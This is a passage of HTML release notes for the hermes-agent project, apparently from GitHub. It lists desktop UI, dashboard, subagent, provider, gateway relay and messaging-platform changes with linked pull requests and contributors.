<li>Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (<a href="https://github.com/NousResearch/hermes-agent/pull/55154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55154/hovercard">#55154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52086/hovercard">#52086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52993/hovercard">#52993</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54558/hovercard">#54558</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (<a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55410/hovercard">#55410</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53991/hovercard">#53991</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Pets</strong> — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/55114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55114/hovercard">#55114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55400/hovercard">#55400</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52877" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52877/hovercard">#52877</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47959/hovercard">#47959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52303/hovercard">#52303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Refactor wave (composer / god-file de-entangle)</h3>
<ul>
<li>Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split <code>thread.tsx</code>, <code>sidebar/index.tsx</code>, onboarding overlay, and <code>use-prompt-actions</code> god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (<code>hermes serve</code>) (<a href="https://github.com/NousResearch/hermes-agent/pull/55500" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55500/hovercard">#55500</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55842/hovercard">#55842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55451/hovercard">#55451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55453" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55453/hovercard">#55453</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55807/hovercard">#55807</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55504/hovercard">#55504</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54568" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54568/hovercard">#54568</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>perf: bound tool-result rendering so big <code>/learn</code> runs don't freeze; fast session switching under load (<a href="https://github.com/NousResearch/hermes-agent/pull/52273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52273/hovercard">#52273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52620" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52620/hovercard">#52620</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (<code>client_secret</code>) support in self-hosted OIDC (<a href="https://github.com/NousResearch/hermes-agent/pull/54846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54846/hovercard">#54846</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50551/hovercard">#50551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55344/hovercard">#55344</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Catalogue all memory-provider API keys in <code>OPTIONAL_ENV_VARS</code>; list &amp; add arbitrary custom <code>.env</code> keys on the Keys page; expose cron job execution fields; backup import/create/download (<a href="https://github.com/NousResearch/hermes-agent/pull/54546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54546/hovercard">#54546</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54552/hovercard">#54552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53551/hovercard">#53551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53227/hovercard">#53227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53239/hovercard">#53239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Delegation &amp; subagents</h3>
<ul>
<li><strong>Background fan-out</strong> — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background <code>delegate_task</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52756/hovercard">#52756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Track background subagents in the CLI + TUI status bar (<a href="https://github.com/NousResearch/hermes-agent/pull/51441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51441/hovercard">#51441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51485/hovercard">#51485</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, tools &amp; coding context</h3>
<ul>
<li>One-shot LLM helper + <code>llm.oneshot</code> gateway RPC; expose coding-context project facts (<code>project.facts</code> RPC) (<a href="https://github.com/NousResearch/hermes-agent/pull/51261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51261/hovercard">#51261</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51259/hovercard">#51259</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>web_extract</code> truncate-and-store instead of LLM summarization; concurrent @-reference expansion (<a href="https://github.com/NousResearch/hermes-agent/pull/54843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54843/hovercard">#54843</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55207/hovercard">#55207</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Friendly human-phrased tool labels for built-in tools; <code>/reasoning full</code> (uncapped thinking); <code>/timestamps</code> + timestamps in <code>/history</code>; <code>/prompt</code> composes in <code>$EDITOR</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/55166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55166/hovercard">#55166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50499" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50499/hovercard">#50499</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50506/hovercard">#50506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (<a href="https://github.com/NousResearch/hermes-agent/pull/52845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52845/hovercard">#52845</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50489/hovercard">#50489</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multiple <code>HERMES_WRITE_SAFE_ROOT</code> dirs; opt-in HTTP/WS body capture to an isolated, share-excluded <code>gui_bodies.log</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/53292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53292/hovercard">#53292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49044" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49044/hovercard">#49044</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Compression &amp; sessions</h3>
<ul>
<li>In-place compaction option (single session id); flip <code>in_place</code> default to True with a guard fix (<a href="https://github.com/NousResearch/hermes-agent/pull/49739" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49739/hovercard">#49739</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52658/hovercard">#52658</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Backup includes <code>projects.db</code> and kanban boards in the pre-update snapshot (<a href="https://github.com/NousResearch/hermes-agent/pull/52990" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52990/hovercard">#52990</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Google Vertex AI</strong> first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages &amp; modernizes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248493655" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/8427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/8427/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/8427">#8427</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a> (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</li>
<li>Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (<a href="https://github.com/NousResearch/hermes-agent/pull/52647" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52647/hovercard">#52647</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52364/hovercard">#52364</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51494/hovercard">#51494</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50492/hovercard">#50492</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Honor <code>NOUS_INFERENCE_BASE_URL</code> env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (<a href="https://github.com/NousResearch/hermes-agent/pull/52270" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52270/hovercard">#52270</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50567/hovercard">#50567</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<h3>Scale-to-zero &amp; drain</h3>
<ul>
<li><strong>Scale-to-zero idle detection + dormant-quiesce (Phase 0)</strong>; hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52359/hovercard">#52359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52831/hovercard">#52831</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>External drain coordination (safe-shutdown Phase 2)</strong>; suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (<a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50312/hovercard">#50312</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50131/hovercard">#50131</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Default <code>restart_drain_timeout</code> to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (<a href="https://github.com/NousResearch/hermes-agent/pull/54066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54066/hovercard">#54066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55397/hovercard">#55397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Relay (Phase 5 / 6)</h3>
<ul>
<li>Wake primitive (gateway side); going-idle / buffered-flip primitive; <code>passthrough_forward</code> over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (<a href="https://github.com/NousResearch/hermes-agent/pull/51595" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51595/hovercard">#51595</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51572/hovercard">#51572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50702/hovercard">#50702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52830" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52830/hovercard">#52830</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50772/hovercard">#50772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51248" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51248/hovercard">#51248</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Authorize relay-delivered events by delivery, not <code>source.platform</code>; adopt <code>scope_id</code> wire key; purge platform-specific scope terminology (<a href="https://github.com/NousResearch/hermes-agent/pull/52306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52306/hovercard">#52306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55289/hovercard">#55289</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56016/hovercard">#56016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Gateway core &amp; rendering</h3>
<ul>
<li>Typed send-error classification (<code>SendResult.error_kind</code>); per-platform <code>typing_indicator</code> toggle; per-category context breakdown in <code>/usage</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/50342" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50342/hovercard">#50342</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55394/hovercard">#55394</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55204/hovercard">#55204</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>API server: configurable concurrent-run cap to prevent DoS; scope run approvals by run id (<a href="https://github.com/NousResearch/hermes-agent/pull/50007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50007/hovercard">#50007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56129/hovercard">#56129</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Cron continuations</strong> — continuable cron jobs (thread-preferred continuation with DM-mirror fallback); flat in-channel continuable cron delivery for Slack; warn when gateway not running on cron create/list (<a href="https://github.com/NousResearch/hermes-agent/pull/52250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52250/hovercard">#52250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56254/hovercard">#56254</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51696" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51696/hovercard">#51696</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Telegram: configurable command menu + raised default cap so skills stay visible; gate rich draft previews separately; drain general send pool on pool timeout before retry (<a href="https://github.com/NousResearch/hermes-agent/pull/51716" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51716/hovercard">#51716</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52088" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52088/hovercard">#52088</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54121" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54121/hovercard">#54121</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Slack: opt-in Block Kit rendering for agent messages; <code>--no-assistant</code> flag for manifest generation (<a href="https://github.com/NousResearch/hermes-agent/pull/56102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56102/hovercard">#56102</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51487" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51487/hovercard">#51487</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: render reasoning as <code>-#</code> subtext via <code>display.reasoning_style</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/51168" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51168/hovercard">#51168</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
